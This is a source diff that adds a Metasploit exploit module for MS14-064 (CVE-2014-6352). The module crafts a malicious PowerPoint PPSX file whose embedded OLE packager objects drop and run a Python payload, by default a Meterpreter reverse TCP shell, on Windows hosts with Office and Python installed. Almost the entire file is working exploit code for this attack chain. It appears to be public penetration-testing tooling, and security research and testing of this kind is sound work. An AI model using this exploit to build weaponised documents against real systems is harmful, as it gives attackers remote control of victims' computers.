|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::FILEFORMAT |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) |
| 19 | + allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability |
| 20 | + publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista |
| 21 | + SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. |
| 22 | + However, based on our testing, the most reliable setup is on Windows platforms running |
| 23 | + Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such as |
| 24 | + using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to a |
| 25 | + failure in the CPackage::CreateTempFileName function. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Haifei Li', # Vulnerability discovery and exploit technique |
| 31 | + 'sinn3r', # Metasploit module |
| 32 | + 'juan vazquez' # Metasploit module |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + ['CVE', '2014-6352'], |
| 37 | + ['MSB', 'MS14-064'], |
| 38 | + ['BID', '70690'], |
| 39 | + ['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm'] |
| 40 | + ], |
| 41 | + 'Platform' => 'python', |
| 42 | + 'Arch' => ARCH_PYTHON, |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + ['Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013', {}], |
| 46 | + ], |
| 47 | + 'Privileged' => false, |
| 48 | + 'DefaultOptions' => |
| 49 | + { |
| 50 | + 'Payload' => 'python/meterpreter/reverse_tcp' |
| 51 | + }, |
| 52 | + 'DisclosureDate' => "Nov 12 2014", |
| 53 | + 'DefaultTarget' => 0)) |
| 54 | + |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']) |
| 58 | + ], self.class) |
| 59 | + end |
| 60 | + |
| 61 | + def exploit |
| 62 | + print_status("Creating '#{datastore['FILENAME']}' file ...") |
| 63 | + payload_packager = create_packager('tabnanny.py', payload.encoded) |
| 64 | + trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10))) |
| 65 | + zip = zip_ppsx(payload_packager, trigger_packager) |
| 66 | + file_create(zip) |
| 67 | + end |
| 68 | + |
| 69 | + def zip_ppsx(ole_payload, ole_trigger) |
| 70 | + zip_data = {} |
| 71 | + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template') |
| 72 | + |
| 73 | + Dir["#{data_dir}/**/**"].each do |file| |
| 74 | + unless File.directory?(file) |
| 75 | + zip_data[file.sub(data_dir,'')] = File.read(file) |
| 76 | + end |
| 77 | + end |
| 78 | + |
| 79 | + # add the otherwise skipped "hidden" file |
| 80 | + file = "#{data_dir}/_rels/.rels" |
| 81 | + zip_data[file.sub(data_dir,'')] = File.read(file) |
| 82 | + |
| 83 | + # put our own OLE streams |
| 84 | + zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload |
| 85 | + zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger |
| 86 | + |
| 87 | + # create the ppsx |
| 88 | + ppsx = Rex::Zip::Archive.new |
| 89 | + zip_data.each_pair do |k,v| |
| 90 | + ppsx.add_file(k,v) |
| 91 | + end |
| 92 | + |
| 93 | + ppsx.pack |
| 94 | + end |
| 95 | + |
| 96 | + def create_packager(file_name, contents) |
| 97 | + file_info = [2].pack('v') |
| 98 | + file_info << "#{file_name}\x00" |
| 99 | + file_info << "#{file_name}\x00" |
| 100 | + file_info << "\x00\x00" |
| 101 | + |
| 102 | + extract_info = [3].pack('v') |
| 103 | + extract_info << [file_name.length + 1].pack('V') |
| 104 | + extract_info << "#{file_name}\x00" |
| 105 | + |
| 106 | + file = [contents.length].pack('V') |
| 107 | + file << contents |
| 108 | + |
| 109 | + append_info = [file_name.length].pack('V') |
| 110 | + append_info << Rex::Text.to_unicode(file_name) |
| 111 | + append_info << [file_name.length].pack('V') |
| 112 | + append_info << Rex::Text.to_unicode(file_name) |
| 113 | + append_info << [file_name.length].pack('V') |
| 114 | + append_info << Rex::Text.to_unicode(file_name) |
| 115 | + |
| 116 | + ole_data = file_info + extract_info + file + append_info |
| 117 | + ole_contents = [ole_data.length].pack('V') + ole_data |
| 118 | + |
| 119 | + ole = create_ole("\x01OLE10Native", ole_contents) |
| 120 | + |
| 121 | + ole |
| 122 | + end |
| 123 | + |
| 124 | + def create_ole(stream_name, data) |
| 125 | + ole_tmp = Rex::Quickfile.new('ole') |
| 126 | + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) |
| 127 | + |
| 128 | + stm = stg.create_stream(stream_name) |
| 129 | + stm << data |
| 130 | + stm.close |
| 131 | + |
| 132 | + directory = stg.instance_variable_get(:@directory) |
| 133 | + directory.each_entry do |entry| |
| 134 | + if entry.instance_variable_get(:@_ab) == 'Root Entry' |
| 135 | + # 0003000C-0000-0000-c000-000000000046 # Packager |
| 136 | + clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") |
| 137 | + entry.instance_variable_set(:@_clsId, clsid) |
| 138 | + end |
| 139 | + end |
| 140 | + |
| 141 | + # write to disk |
| 142 | + stg.close |
| 143 | + |
| 144 | + ole_contents = File.read(ole_tmp.path) |
| 145 | + ole_tmp.close |
| 146 | + ole_tmp.unlink |
| 147 | + |
| 148 | + ole_contents |
| 149 | + end |
| 150 | + |
| 151 | +end |
| 152 | + |
0 commit comments